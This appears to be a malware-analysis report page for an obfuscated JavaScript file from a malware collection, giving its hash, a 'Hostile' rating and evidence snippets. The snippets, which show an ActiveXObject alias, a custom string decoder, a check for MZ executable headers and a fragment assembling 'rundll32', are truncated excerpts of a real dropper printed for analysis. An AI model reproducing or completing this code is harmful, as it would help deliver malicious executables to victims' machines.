Hostile ^100% javascript-malware-collection Download

20161220_3cbc673d417fd6bbec60dae3ac1620a1.js

Obfuscated ActiveX malware execution

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias

SHA-256e35d61c2f249b1009677534c9167f6547b928360ca19a0ea5ef23af456582ead

MaleculeK₂(McLi)O₃(Xe₂As₉S)H₅(F₃CmDb₈OsPo₄)Md₂

Evidence

Hex arithmetic in string operations lines 2–14

2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikparsonageFROG2XCOP = 0;	
9     var SupchikparsonageRazlomSS, SupchikparsonageFROG2ddDccC2, SupchikparsonageFROG2c3, SupchikparsonageFROG2c4;
10
11     var SupchikparsonageFROG2out = "";
12
13	 var SupchikparsonageFROG2Supchikparsonageka= this.replace(/FROSTICK/gi, SupchikparsonageFROG2out);
14 var  SupchikparsonageFROG2len = SupchikparsonageFROG2 …

charCodeAt() method call lines 18–20

7… r Supchikparsonagekoch = SupchikparsonageFROG2Supchikparsonageka.charCodeAt(SupchikparsonageFROG2XCOP++) &(0x132- 0x33);
          SupchikparsonageRazlomSS = levitron[Supchikparsonagekoch];
      } while (SupchikparsonageFROG2XCOP < Supchik …

Builds characters with String.fromCharCode lines 27–30

43… 1== 0)
          break;
      SupchikparsonageFROG2out += String['fromCharCode']((SupchikparsonageRazlomSS << 2) | ((SupchikparsonageFROG2ddDccC2 & 0x30) >> 4));    do {
          SupchikparsonageFROG2c3 = Supchik …

ActiveXObject via local alias lines 185–188

22… FROG2d2=SupchikparsonageFROG2DoUtra.pop();
186SupchikparsonageFROG2fabled="Valar2Morgulis";
var SupchikparsonageFROG2LitoyDISK=ActiveXObject;
var doubleTrouble=SupchikparsonageFROG2d2.split("45");SupchikparsonageFROG2Native.SupchikparsonageFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikparsonageFROG2$type(a)= …

Checks array for PE magic bytes lines 257–264

82… abaev);	
if(SupchikparsonageTalabaevLaa < 29989)return false;
if (SupchikparsonageTalabaev[0]!= 77 || SupchikparsonageTalabaev[1]!= 90)return false;		
SupchikparsonageFROG2CHICKA = SupchikparsonageFROG2CHICKA  + SupchikparsonageFROG2SIDRENKOV;
REBEKK2(SupchikparsonageFROG2CHICKA, SupchikparsonageTalabaev );
262
var SupchikparsonageFROG2ddsSSddSd = ",happy";
264SupchikparsonageFROG2ddsSSddSd = (SupchikparsonageFROG2StrokaParam2,"undl") + (SupchikparsonageFROG2StrokaParam2,"l32 ") + Su …